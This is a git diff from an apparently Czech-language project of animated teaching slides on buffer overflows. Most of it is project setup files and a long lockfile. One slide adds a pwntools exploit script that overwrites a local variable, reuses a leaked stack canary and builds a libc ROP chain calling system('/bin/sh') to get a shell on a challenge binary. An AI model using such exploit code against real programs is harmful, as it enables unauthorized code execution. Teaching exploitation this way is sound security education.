diff --git a/buffer-overflow/src/scenes/function-run.tsx b/buffer-overflow/src/scenes/function-run.tsx index 431c0b9..48df18e 100644 --- a/buffer-overflow/src/scenes/function-run.tsx +++ b/buffer-overflow/src/scenes/function-run.tsx @@ -178,7 +178,7 @@ export default makeScene2D(function* (view) { ); - + yield* all( changeRsp && rsp(rsp() + 100, 1), rectRef().height(100, 1), diff --git a/buffer-overflow/src/scenes/overwriting-locals.tsx b/buffer-overflow/src/scenes/overwriting-locals.tsx index 426c290..064a3bb 100644 --- a/buffer-overflow/src/scenes/overwriting-locals.tsx +++ b/buffer-overflow/src/scenes/overwriting-locals.tsx @@ -374,4 +374,51 @@ terminated by signal SIGSEGV (Address boundary error)`)}` ); yield* beginSlide("Shell part3"); + + code().language("python") + + code().code(`from pwn import * +bin = ELF('./bin') +libc = ELF('/usr/lib/libc.so.6') +context.terminal = "kitty" +context.arch = "amd64" + +# io = process('../challenges/hello') +io = gdb.debug('../challenges/hello') + +io.recvuntil(b"name:") +io.sendline( + flat({ + (0x5c - 0x1c): p64(1) # zapise 1 na offset 0x5c-0x1c + }) +) + +io.recvuntil(b"Welcome ") + +rop = ROP(libc, base=(rsp - offset), badchars=b'\\n') +rop.call(libc.symbols['system'], [next(libc.search(b"/bin/sh\\x00"))]) +rop.call(libc.symbols['exit'], [0]) + +# Vytvori ROP chain +# Nejdriv zavola system s argumentem adresy +# prvniho vyskytu /bin/sh uvnitr libc (system("/bin/sh")) +# Pote zavola exit(0) + +io.sendline(flat({ + 32: p32(0), + 40: p64(canary), + 64: rop.chain() +})) + +io.interactive() # umozni interagovat s procesem +`); + + code().fontSize(24); + + metaInfo().remove(); + rect().remove(); + + yield* code().x(0, 1); + + yield* beginSlide("pwntools part1"); }); \ No newline at end of file diff --git a/pwntools/.gitignore b/pwntools/.gitignore new file mode 100644 index 0000000..829b1c7 --- /dev/null +++ b/pwntools/.gitignore @@ -0,0 +1,15 @@ +# Generated files +node_modules +output +dist + +# Editor directories and files +.vscode/* +!.vscode/extensions.json +.idea +.DS_Store +*.suo +*.ntvs* +*.njsproj +*.sln +*.sw? diff --git a/pwntools/package.json b/pwntools/package.json new file mode 100644 index 0000000..fd2f5e1 --- /dev/null +++ b/pwntools/package.json @@ -0,0 +1,21 @@ +{ + "name": "pwntools", + "private": true, + "version": "0.0.0", + "scripts": { + "start": "vite", + "serve": "vite", + "build": "tsc && vite build" + }, + "dependencies": { + "@motion-canvas/core": "^3.14.1", + "@motion-canvas/2d": "^3.14.2", + "@motion-canvas/ffmpeg": "^1.1.0" + }, + "devDependencies": { + "@motion-canvas/ui": "^3.14.2", + "@motion-canvas/vite-plugin": "^3.14.1", + "typescript": "^5.2.2", + "vite": "^4.0.0" + } +} \ No newline at end of file diff --git a/pwntools/pnpm-lock.yaml b/pwntools/pnpm-lock.yaml new file mode 100644 index 0000000..1cefed2 --- /dev/null +++ b/pwntools/pnpm-lock.yaml @@ -0,0 +1,770 @@ +lockfileVersion: '6.0' + +settings: + autoInstallPeers: true + excludeLinksFromLockfile: false + +dependencies: + '@motion-canvas/2d': + specifier: ^3.14.2 + version: 3.14.2 + '@motion-canvas/core': + specifier: ^3.14.1 + version: 3.14.1 + '@motion-canvas/ffmpeg': + specifier: ^1.1.0 + version: 1.1.1(@motion-canvas/core@3.14.1)(@motion-canvas/vite-plugin@3.14.1)(vite@4.5.2) + +devDependencies: + '@motion-canvas/ui': + specifier: ^3.14.2 + version: 3.14.2 + '@motion-canvas/vite-plugin': + specifier: ^3.14.1 + version: 3.14.1(vite@4.5.2) + typescript: + specifier: ^5.2.2 + version: 5.3.3 + vite: + specifier: ^4.0.0 + version: 4.5.2 + +packages: + + /@esbuild/android-arm64@0.18.20: + resolution: {integrity: sha512-Nz4rJcchGDtENV0eMKUNa6L12zz2zBDXuhj/Vjh18zGqB44Bi7MBMSXjgunJgjRhCmKOjnPuZp4Mb6OKqtMHLQ==} + engines: {node: '>=12'} + cpu: [arm64] + os: [android] + requiresBuild: true + optional: true + + /@esbuild/android-arm@0.18.20: + resolution: {integrity: sha512-fyi7TDI/ijKKNZTUJAQqiG5T7YjJXgnzkURqmGj13C6dCqckZBLdl4h7bkhHt/t0WP+zO9/zwroDvANaOqO5Sw==} + engines: {node: '>=12'} + cpu: [arm] + os: [android] + requiresBuild: true + optional: true + + /@esbuild/android-x64@0.18.20: + resolution: {integrity: sha512-8GDdlePJA8D6zlZYJV/jnrRAi6rOiNaCC/JclcXpB+KIuvfBN4owLtgzY2bsxnx666XjJx2kDPUmnTtR8qKQUg==} + engines: {node: '>=12'} + cpu: [x64] + os: [android] + requiresBuild: true + optional: true + + /@esbuild/darwin-arm64@0.18.20: + resolution: {integrity: sha512-bxRHW5kHU38zS2lPTPOyuyTm+S+eobPUnTNkdJEfAddYgEcll4xkT8DB9d2008DtTbl7uJag2HuE5NZAZgnNEA==} + engines: {node: '>=12'} + cpu: [arm64] + os: [darwin] + requiresBuild: true + optional: true + + /@esbuild/darwin-x64@0.18.20: + resolution: {integrity: sha512-pc5gxlMDxzm513qPGbCbDukOdsGtKhfxD1zJKXjCCcU7ju50O7MeAZ8c4krSJcOIJGFR+qx21yMMVYwiQvyTyQ==} + engines: {node: '>=12'} + cpu: [x64] + os: [darwin] + requiresBuild: true + optional: true + + /@esbuild/freebsd-arm64@0.18.20: + resolution: {integrity: sha512-yqDQHy4QHevpMAaxhhIwYPMv1NECwOvIpGCZkECn8w2WFHXjEwrBn3CeNIYsibZ/iZEUemj++M26W3cNR5h+Tw==} + engines: {node: '>=12'} + cpu: [arm64] + os: [freebsd] + requiresBuild: true + optional: true + + /@esbuild/freebsd-x64@0.18.20: + resolution: {integrity: sha512-tgWRPPuQsd3RmBZwarGVHZQvtzfEBOreNuxEMKFcd5DaDn2PbBxfwLcj4+aenoh7ctXcbXmOQIn8HI6mCSw5MQ==} + engines: {node: '>=12'} + cpu: [x64] + os: [freebsd] + requiresBuild: true + optional: true + + /@esbuild/linux-arm64@0.18.20: + resolution: {integrity: sha512-2YbscF+UL7SQAVIpnWvYwM+3LskyDmPhe31pE7/aoTMFKKzIc9lLbyGUpmmb8a8AixOL61sQ/mFh3jEjHYFvdA==} + engines: {node: '>=12'} + cpu: [arm64] + os: [linux] + requiresBuild: true + optional: true + + /@esbuild/linux-arm@0.18.20: + resolution: {integrity: sha512-/5bHkMWnq1EgKr1V+Ybz3s1hWXok7mDFUMQ4cG10AfW3wL02PSZi5kFpYKrptDsgb2WAJIvRcDm+qIvXf/apvg==} + engines: {node: '>=12'} + cpu: [arm] + os: [linux] + requiresBuild: true + optional: true + + /@esbuild/linux-ia32@0.18.20: + resolution: {integrity: sha512-P4etWwq6IsReT0E1KHU40bOnzMHoH73aXp96Fs8TIT6z9Hu8G6+0SHSw9i2isWrD2nbx2qo5yUqACgdfVGx7TA==} + engines: {node: '>=12'} + cpu: [ia32] + os: [linux] + requiresBuild: true + optional: true + + /@esbuild/linux-loong64@0.18.20: + resolution: {integrity: sha512-nXW8nqBTrOpDLPgPY9uV+/1DjxoQ7DoB2N8eocyq8I9XuqJ7BiAMDMf9n1xZM9TgW0J8zrquIb/A7s3BJv7rjg==} + engines: {node: '>=12'} + cpu: [loong64] + os: [linux] + requiresBuild: true + optional: true + + /@esbuild/linux-mips64el@0.18.20: + resolution: {integrity: sha512-d5NeaXZcHp8PzYy5VnXV3VSd2D328Zb+9dEq5HE6bw6+N86JVPExrA6O68OPwobntbNJ0pzCpUFZTo3w0GyetQ==} + engines: {node: '>=12'} + cpu: [mips64el] + os: [linux] + requiresBuild: true + optional: true + + /@esbuild/linux-ppc64@0.18.20: + resolution: {integrity: sha512-WHPyeScRNcmANnLQkq6AfyXRFr5D6N2sKgkFo2FqguP44Nw2eyDlbTdZwd9GYk98DZG9QItIiTlFLHJHjxP3FA==} + engines: {node: '>=12'} + cpu: [ppc64] + os: [linux] + requiresBuild: true + optional: true + + /@esbuild/linux-riscv64@0.18.20: + resolution: {integrity: sha512-WSxo6h5ecI5XH34KC7w5veNnKkju3zBRLEQNY7mv5mtBmrP/MjNBCAlsM2u5hDBlS3NGcTQpoBvRzqBcRtpq1A==} + engines: {node: '>=12'} + cpu: [riscv64] + os: [linux] + requiresBuild: true + optional: true + + /@esbuild/linux-s390x@0.18.20: + resolution: {integrity: sha512-+8231GMs3mAEth6Ja1iK0a1sQ3ohfcpzpRLH8uuc5/KVDFneH6jtAJLFGafpzpMRO6DzJ6AvXKze9LfFMrIHVQ==} + engines: {node: '>=12'} + cpu: [s390x] + os: [linux] + requiresBuild: true + optional: true + + /@esbuild/linux-x64@0.18.20: + resolution: {integrity: sha512-UYqiqemphJcNsFEskc73jQ7B9jgwjWrSayxawS6UVFZGWrAAtkzjxSqnoclCXxWtfwLdzU+vTpcNYhpn43uP1w==} + engines: {node: '>=12'} + cpu: [x64] + os: [linux] + requiresBuild: true + optional: true + + /@esbuild/netbsd-x64@0.18.20: + resolution: {integrity: sha512-iO1c++VP6xUBUmltHZoMtCUdPlnPGdBom6IrO4gyKPFFVBKioIImVooR5I83nTew5UOYrk3gIJhbZh8X44y06A==} + engines: {node: '>=12'} + cpu: [x64] + os: [netbsd] + requiresBuild: true + optional: true + + /@esbuild/openbsd-x64@0.18.20: + resolution: {integrity: sha512-e5e4YSsuQfX4cxcygw/UCPIEP6wbIL+se3sxPdCiMbFLBWu0eiZOJ7WoD+ptCLrmjZBK1Wk7I6D/I3NglUGOxg==} + engines: {node: '>=12'} + cpu: [x64] + os: [openbsd] + requiresBuild: true + optional: true + + /@esbuild/sunos-x64@0.18.20: + resolution: {integrity: sha512-kDbFRFp0YpTQVVrqUd5FTYmWo45zGaXe0X8E1G/LKFC0v8x0vWrhOWSLITcCn63lmZIxfOMXtCfti/RxN/0wnQ==} + engines: {node: '>=12'} + cpu: [x64] + os: [sunos] + requiresBuild: true + optional: true + + /@esbuild/win32-arm64@0.18.20: + resolution: {integrity: sha512-ddYFR6ItYgoaq4v4JmQQaAI5s7npztfV4Ag6NrhiaW0RrnOXqBkgwZLofVTlq1daVTQNhtI5oieTvkRPfZrePg==} + engines: {node: '>=12'} + cpu: [arm64] + os: [win32] + requiresBuild: true + optional: true + + /@esbuild/win32-ia32@0.18.20: + resolution: {integrity: sha512-Wv7QBi3ID/rROT08SABTS7eV4hX26sVduqDOTe1MvGMjNd3EjOz4b7zeexIR62GTIEKrfJXKL9LFxTYgkyeu7g==} + engines: {node: '>=12'} + cpu: [ia32] + os: [win32] + requiresBuild: true + optional: true + + /@esbuild/win32-x64@0.18.20: + resolution: {integrity: sha512-kTdfRcSiDfQca/y9QIkng02avJ+NCaQvrMejlsB3RRv5sE9rRoeBPISaZpKxHELzRxZyLvNts1P27W3wV+8geQ==} + engines: {node: '>=12'} + cpu: [x64] + os: [win32] + requiresBuild: true + optional: true + + /@ffmpeg-installer/darwin-arm64@4.1.5: + resolution: {integrity: sha512-hYqTiP63mXz7wSQfuqfFwfLOfwwFChUedeCVKkBtl/cliaTM7/ePI9bVzfZ2c+dWu3TqCwLDRWNSJ5pqZl8otA==} + cpu: [arm64] + os: [darwin] + requiresBuild: true + dev: false + optional: true + + /@ffmpeg-installer/darwin-x64@4.1.0: + resolution: {integrity: sha512-Z4EyG3cIFjdhlY8wI9aLUXuH8nVt7E9SlMVZtWvSPnm2sm37/yC2CwjUzyCQbJbySnef1tQwGG2Sx+uWhd9IAw==} + cpu: [x64] + os: [darwin] + requiresBuild: true + dev: false + optional: true + + /@ffmpeg-installer/ffmpeg@1.1.0: + resolution: {integrity: sha512-Uq4rmwkdGxIa9A6Bd/VqqYbT7zqh1GrT5/rFwCwKM70b42W5gIjWeVETq6SdcL0zXqDtY081Ws/iJWhr1+xvQg==} + optionalDependencies: + '@ffmpeg-installer/darwin-arm64': 4.1.5 + '@ffmpeg-installer/darwin-x64': 4.1.0 + '@ffmpeg-installer/linux-arm': 4.1.3 + '@ffmpeg-installer/linux-arm64': 4.1.4 + '@ffmpeg-installer/linux-ia32': 4.1.0 + '@ffmpeg-installer/linux-x64': 4.1.0 + '@ffmpeg-installer/win32-ia32': 4.1.0 + '@ffmpeg-installer/win32-x64': 4.1.0 + dev: false + + /@ffmpeg-installer/linux-arm64@4.1.4: + resolution: {integrity: sha512-dljEqAOD0oIM6O6DxBW9US/FkvqvQwgJ2lGHOwHDDwu/pX8+V0YsDL1xqHbj1DMX/+nP9rxw7G7gcUvGspSoKg==} + cpu: [arm64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@ffmpeg-installer/linux-arm@4.1.3: + resolution: {integrity: sha512-NDf5V6l8AfzZ8WzUGZ5mV8O/xMzRag2ETR6+TlGIsMHp81agx51cqpPItXPib/nAZYmo55Bl2L6/WOMI3A5YRg==} + cpu: [arm] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@ffmpeg-installer/linux-ia32@4.1.0: + resolution: {integrity: sha512-0LWyFQnPf+Ij9GQGD034hS6A90URNu9HCtQ5cTqo5MxOEc7Rd8gLXrJvn++UmxhU0J5RyRE9KRYstdCVUjkNOQ==} + cpu: [ia32] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@ffmpeg-installer/linux-x64@4.1.0: + resolution: {integrity: sha512-Y5BWhGLU/WpQjOArNIgXD3z5mxxdV8c41C+U15nsE5yF8tVcdCGet5zPs5Zy3Ta6bU7haGpIzryutqCGQA/W8A==} + cpu: [x64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@ffmpeg-installer/win32-ia32@4.1.0: + resolution: {integrity: sha512-FV2D7RlaZv/lrtdhaQ4oETwoFUsUjlUiasiZLDxhEUPdNDWcH1OU9K1xTvqz+OXLdsmYelUDuBS/zkMOTtlUAw==} + cpu: [ia32] + os: [win32] + requiresBuild: true + dev: false + optional: true + + /@ffmpeg-installer/win32-x64@4.1.0: + resolution: {integrity: sha512-Drt5u2vzDnIONf4ZEkKtFlbvwj6rI3kxw1Ck9fpudmtgaZIHD4ucsWB2lCZBXRxJgXR+2IMSti+4rtM4C4rXgg==} + cpu: [x64] + os: [win32] + requiresBuild: true + dev: false + optional: true + + /@ffprobe-installer/darwin-arm64@5.0.1: + resolution: {integrity: sha512-vwNCNjokH8hfkbl6m95zICHwkSzhEvDC3GVBcUp5HX8+4wsX10SP3B+bGur7XUzTIZ4cQpgJmEIAx6TUwRepMg==} + cpu: [arm64] + os: [darwin] + requiresBuild: true + dev: false + optional: true + + /@ffprobe-installer/darwin-x64@5.1.0: + resolution: {integrity: sha512-J+YGscZMpQclFg31O4cfVRGmDpkVsQ2fZujoUdMAAYcP0NtqpC49Hs3SWJpBdsGB4VeqOt5TTm1vSZQzs1NkhA==} + cpu: [x64] + os: [darwin] + requiresBuild: true + dev: false + optional: true + + /@ffprobe-installer/ffprobe@2.1.2: + resolution: {integrity: sha512-ZNvwk4f2magF42Zji2Ese16SMj9BS7Fui4kRjg6gTYTxY3gWZNpg85n4MIfQyI9nimHg4x/gT6FVkp/bBDuBwg==} + engines: {node: '>=14.21.2'} + optionalDependencies: + '@ffprobe-installer/darwin-arm64': 5.0.1 + '@ffprobe-installer/darwin-x64': 5.1.0 + '@ffprobe-installer/linux-arm': 5.2.0 + '@ffprobe-installer/linux-arm64': 5.2.0 + '@ffprobe-installer/linux-ia32': 5.2.0 + '@ffprobe-installer/linux-x64': 5.2.0 + '@ffprobe-installer/win32-ia32': 5.1.0 + '@ffprobe-installer/win32-x64': 5.1.0 + dev: false + + /@ffprobe-installer/linux-arm64@5.2.0: + resolution: {integrity: sha512-X1VvWtlLs6ScP73biVLuHD5ohKJKsMTa0vafCESOen4mOoNeLAYbxOVxDWAdFz9cpZgRiloFj5QD6nDj8E28yQ==} + cpu: [arm64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@ffprobe-installer/linux-arm@5.2.0: + resolution: {integrity: sha512-PF5HqEhCY7WTWHtLDYbA/+rLS+rhslWvyBlAG1Fk8VzVlnRdl93o6hy7DE2kJgxWQbFaR3ZktPQGEzfkrmQHvQ==} + cpu: [arm] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@ffprobe-installer/linux-ia32@5.2.0: + resolution: {integrity: sha512-TFVK5sasXyXhbIG7LtPRDmtkrkOsInwKcL43iEvEw+D9vCS2rc//mn9/0Q+BR0UoJEiMK4+ApYr/3LLVUBPOCQ==} + cpu: [ia32] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@ffprobe-installer/linux-x64@5.2.0: + resolution: {integrity: sha512-D3UeqTLYPNs7pBWPLUYGehPdRVqU8eACox4OZy3pZUZatxye2YKlvBwEfaLdL1v2Z4FOAlLUhms0kY8m8kqSRA==} + cpu: [x64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@ffprobe-installer/win32-ia32@5.1.0: + resolution: {integrity: sha512-5O3vOoNRxmut0/Nu9vSazTdSHasrr+zPT2B3Hm7kjmO3QVFcIfVImS6ReQnZeSy8JPJOqXts5kX5x/3KOX54XQ==} + cpu: [ia32] + os: [win32] + requiresBuild: true + dev: false + optional: true + + /@ffprobe-installer/win32-x64@5.1.0: + resolution: {integrity: sha512-jMGYeAgkrdn4e2vvYt/qakgHRE3CPju4bn5TmdPfoAm1BlX1mY9cyMd8gf5vSzI8gH8Zq5WQAyAkmekX/8TSTg==} + cpu: [x64] + os: [win32] + requiresBuild: true + dev: false + optional: true + + /@motion-canvas/2d@3.14.2: + resolution: {integrity: sha512-SaOU0gL9RjUsIRCwNwPo/DLvcLKNPfVylfUcynSocOE6bSjsHrd8ZVNumf4X9Bedf9dxajrWf44eMBNCLQpJyg==} + dependencies: + '@motion-canvas/core': 3.14.1 + code-fns: 0.8.2 + mathjax-full: 3.2.2 + parse-svg-path: 0.1.2 + dev: false + + /@motion-canvas/core@3.14.1: + resolution: {integrity: sha512-1rEys/mOa1WwUttAeHOQwDoLDcVNsFhNIO6YDVTzEGWYMGhHavEsVWdWD8YaDRbBkcHwd1uLKtIahyjERzBnjw==} + dependencies: + '@types/chroma-js': 2.4.4 + chroma-js: 2.4.2 + + /@motion-canvas/ffmpeg@1.1.1(@motion-canvas/core@3.14.1)(@motion-canvas/vite-plugin@3.14.1)(vite@4.5.2): + resolution: {integrity: sha512-w2d7oFfR3hYHXeYtFGoHp6goY+vVL0LoZ2h1b/veTH5KvE7jrLp2Kl/XPHsYJ5ZDRHUT0Nhl05DBLdXYqdSqgg==} + peerDependencies: + '@motion-canvas/core': ^3.7.0 + '@motion-canvas/vite-plugin': ^3.7.0 + vite: 4.x + dependencies: + '@ffmpeg-installer/ffmpeg': 1.1.0 + '@ffprobe-installer/ffprobe': 2.1.2 + '@motion-canvas/core': 3.14.1 + '@motion-canvas/vite-plugin': 3.14.1(vite@4.5.2) + fluent-ffmpeg: 2.1.2 + vite: 4.5.2 + dev: false + + /@motion-canvas/ui@3.14.2: + resolution: {integrity: sha512-5KujeAd+cE88ZTLlnAzvSkKvRx87z/NhBYZo5PLIls2+Z/LdllEvhiEaZfGJuXz8ZZ0f93osDrQmlpB4LI+V7Q==} + dependencies: + '@motion-canvas/core': 3.14.1 + '@preact/signals': 1.2.2(preact@10.19.4) + preact: 10.19.4 + dev: true + + /@motion-canvas/vite-plugin@3.14.1(vite@4.5.2): + resolution: {integrity: sha512-INkDrLmGRLwXlVrHSo7LMbORimYkxlE2DnBnuRdkHF6JeTxeUU+KtHTSW+vTg55cwEz2UykIIW2Tc0KicOU11Q==} + peerDependencies: + vite: 4.x || 5.x + dependencies: + fast-glob: 3.3.2 + follow-redirects: 1.15.5 + mime-types: 2.1.35 + source-map: 0.6.1 + vite: 4.5.2 + transitivePeerDependencies: + - debug + + /@nodelib/fs.scandir@2.1.5: + resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} + engines: {node: '>= 8'} + dependencies: + '@nodelib/fs.stat': 2.0.5 + run-parallel: 1.2.0 + + /@nodelib/fs.stat@2.0.5: + resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==} + engines: {node: '>= 8'} + + /@nodelib/fs.walk@1.2.8: + resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==} + engines: {node: '>= 8'} + dependencies: + '@nodelib/fs.scandir': 2.1.5 + fastq: 1.17.1 + + /@preact/signals-core@1.5.1: + resolution: {integrity: sha512-dE6f+WCX5ZUDwXzUIWNMhhglmuLpqJhuy3X3xHrhZYI0Hm2LyQwOu0l9mdPiWrVNsE+Q7txOnJPgtIqHCYoBVA==} + dev: true + + /@preact/signals@1.2.2(preact@10.19.4): + resolution: {integrity: sha512-ColCqdo4cRP18bAuIR4Oik5rDpiyFtPIJIygaYPMEAwTnl4buWkBOflGBSzhYyPyJfKpkwlekrvK+1pzQ2ldWw==} + peerDependencies: + preact: 10.x + dependencies: + '@preact/signals-core': 1.5.1 + preact: 10.19.4 + dev: true + + /@types/chroma-js@2.4.4: + resolution: {integrity: sha512-/DTccpHTaKomqussrn+ciEvfW4k6NAHzNzs/sts1TCqg333qNxOhy8TNIoQCmbGG3Tl8KdEhkGAssb1n3mTXiQ==} + + /@types/hast@2.3.10: + resolution: {integrity: sha512-McWspRw8xx8J9HurkVBfYj0xKoE25tOFlHGdx4MJ5xORQrMGZNqJhVQWaIbm6Oyla5kYOXtDiopzKRJzEOkwJw==} + dependencies: + '@types/unist': 2.0.10 + dev: false + + /@types/unist@2.0.10: + resolution: {integrity: sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA==} + dev: false + + /@wooorm/starry-night@1.7.0: + resolution: {integrity: sha512-ktO0nkddrovIoNW2jAUT+Cdd9n1bWjy1Ir4CdcmgTaT6E94HLlQfu7Yv62falclBEwvsuVp3bSBw23wtta1fNw==} + dependencies: + '@types/hast': 2.3.10 + import-meta-resolve: 2.2.2 + vscode-oniguruma: 1.7.0 + vscode-textmate: 9.0.0 + dev: false + + /async@3.2.5: + resolution: {integrity: sha512-baNZyqaaLhyLVKm/DlvdW051MSgO6b8eVfIezl9E5PqWxFgzLm/wQntEW4zOytVburDEr0JlALEpdOFwvErLsg==} + dev: false + + /braces@3.0.2: + resolution: {integrity: sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==} + engines: {node: '>=8'} + dependencies: + fill-range: 7.0.1 + + /chroma-js@2.4.2: + resolution: {integrity: sha512-U9eDw6+wt7V8z5NncY2jJfZa+hUH8XEj8FQHgFJTrUFnJfXYf4Ml4adI2vXZOjqRDpFWtYVWypDfZwnJ+HIR4A==} + + /code-fns@0.8.2: + resolution: {integrity: sha512-3VVeq3cnWxWiWKFLsVo+XWsOXBSW2gAx2uv0ViETLNmNuygEPHlCeDAv/Zy7xXqPgXtgLZyvIJZmx+ojTgOIGA==} + dependencies: + '@wooorm/starry-night': 1.7.0 + dev: false + + /commander@9.2.0: + resolution: {integrity: sha512-e2i4wANQiSXgnrBlIatyHtP1odfUp0BbV5Y5nEGbxtIrStkEOAAzCUirvLBNXHLr7kwLvJl6V+4V3XV9x7Wd9w==} + engines: {node: ^12.20.0 || >=14} + dev: false + + /esbuild@0.18.20: + resolution: {integrity: sha512-ceqxoedUrcayh7Y7ZX6NdbbDzGROiyVBgC4PriJThBKSVPWnnFHZAkfI1lJT8QFkOwH4qOS2SJkS4wvpGl8BpA==} + engines: {node: '>=12'} + hasBin: true + requiresBuild: true + optionalDependencies: + '@esbuild/android-arm': 0.18.20 + '@esbuild/android-arm64': 0.18.20 + '@esbuild/android-x64': 0.18.20 + '@esbuild/darwin-arm64': 0.18.20 + '@esbuild/darwin-x64': 0.18.20 + '@esbuild/freebsd-arm64': 0.18.20 + '@esbuild/freebsd-x64': 0.18.20 + '@esbuild/linux-arm': 0.18.20 + '@esbuild/linux-arm64': 0.18.20 + '@esbuild/linux-ia32': 0.18.20 + '@esbuild/linux-loong64': 0.18.20 + '@esbuild/linux-mips64el': 0.18.20 + '@esbuild/linux-ppc64': 0.18.20 + '@esbuild/linux-riscv64': 0.18.20 + '@esbuild/linux-s390x': 0.18.20 + '@esbuild/linux-x64': 0.18.20 + '@esbuild/netbsd-x64': 0.18.20 + '@esbuild/openbsd-x64': 0.18.20 + '@esbuild/sunos-x64': 0.18.20 + '@esbuild/win32-arm64': 0.18.20 + '@esbuild/win32-ia32': 0.18.20 + '@esbuild/win32-x64': 0.18.20 + + /esm@3.2.25: + resolution: {integrity: sha512-U1suiZ2oDVWv4zPO56S0NcR5QriEahGtdN2OR6FiOG4WJvcjBVFB0qI4+eKoWFH483PKGuLuu6V8Z4T5g63UVA==} + engines: {node: '>=6'} + dev: false + + /fast-glob@3.3.2: + resolution: {integrity: sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==} + engines: {node: '>=8.6.0'} + dependencies: + '@nodelib/fs.stat': 2.0.5 + '@nodelib/fs.walk': 1.2.8 + glob-parent: 5.1.2 + merge2: 1.4.1 + micromatch: 4.0.5 + + /fastq@1.17.1: + resolution: {integrity: sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==} + dependencies: + reusify: 1.0.4 + + /fill-range@7.0.1: + resolution: {integrity: sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==} + engines: {node: '>=8'} + dependencies: + to-regex-range: 5.0.1 + + /fluent-ffmpeg@2.1.2: + resolution: {integrity: sha512-IZTB4kq5GK0DPp7sGQ0q/BWurGHffRtQQwVkiqDgeO6wYJLLV5ZhgNOQ65loZxxuPMKZKZcICCUnaGtlxBiR0Q==} + engines: {node: '>=0.8.0'} + dependencies: + async: 3.2.5 + which: 1.3.1 + dev: false + + /follow-redirects@1.15.5: + resolution: {integrity: sha512-vSFWUON1B+yAw1VN4xMfxgn5fTUiaOzAJCKBwIIgT/+7CuGy9+r+5gITvP62j3RmaD5Ph65UaERdOSRGUzZtgw==} + engines: {node: '>=4.0'} + peerDependencies: + debug: '*' + peerDependenciesMeta: + debug: + optional: true + + /fsevents@2.3.3: + resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} + engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} + os: [darwin] + requiresBuild: true + optional: true + + /glob-parent@5.1.2: + resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==} + engines: {node: '>= 6'} + dependencies: + is-glob: 4.0.3 + + /import-meta-resolve@2.2.2: + resolution: {integrity: sha512-f8KcQ1D80V7RnqVm+/lirO9zkOxjGxhaTC1IPrBGd3MEfNgmNG67tSUO9gTi2F3Blr2Az6g1vocaxzkVnWl9MA==} + dev: false + + /is-extglob@2.1.1: + resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} + engines: {node: '>=0.10.0'} + + /is-glob@4.0.3: + resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} + engines: {node: '>=0.10.0'} + dependencies: + is-extglob: 2.1.1 + + /is-number@7.0.0: + resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} + engines: {node: '>=0.12.0'} + + /isexe@2.0.0: + resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} + dev: false + + /mathjax-full@3.2.2: + resolution: {integrity: sha512-+LfG9Fik+OuI8SLwsiR02IVdjcnRCy5MufYLi0C3TdMT56L/pjB0alMVGgoWJF8pN9Rc7FESycZB9BMNWIid5w==} + dependencies: + esm: 3.2.25 + mhchemparser: 4.2.1 + mj-context-menu: 0.6.1 + speech-rule-engine: 4.0.7 + dev: false + + /merge2@1.4.1: + resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} + engines: {node: '>= 8'} + + /mhchemparser@4.2.1: + resolution: {integrity: sha512-kYmyrCirqJf3zZ9t/0wGgRZ4/ZJw//VwaRVGA75C4nhE60vtnIzhl9J9ndkX/h6hxSN7pjg/cE0VxbnNM+bnDQ==} + dev: false + + /micromatch@4.0.5: + resolution: {integrity: sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==} + engines: 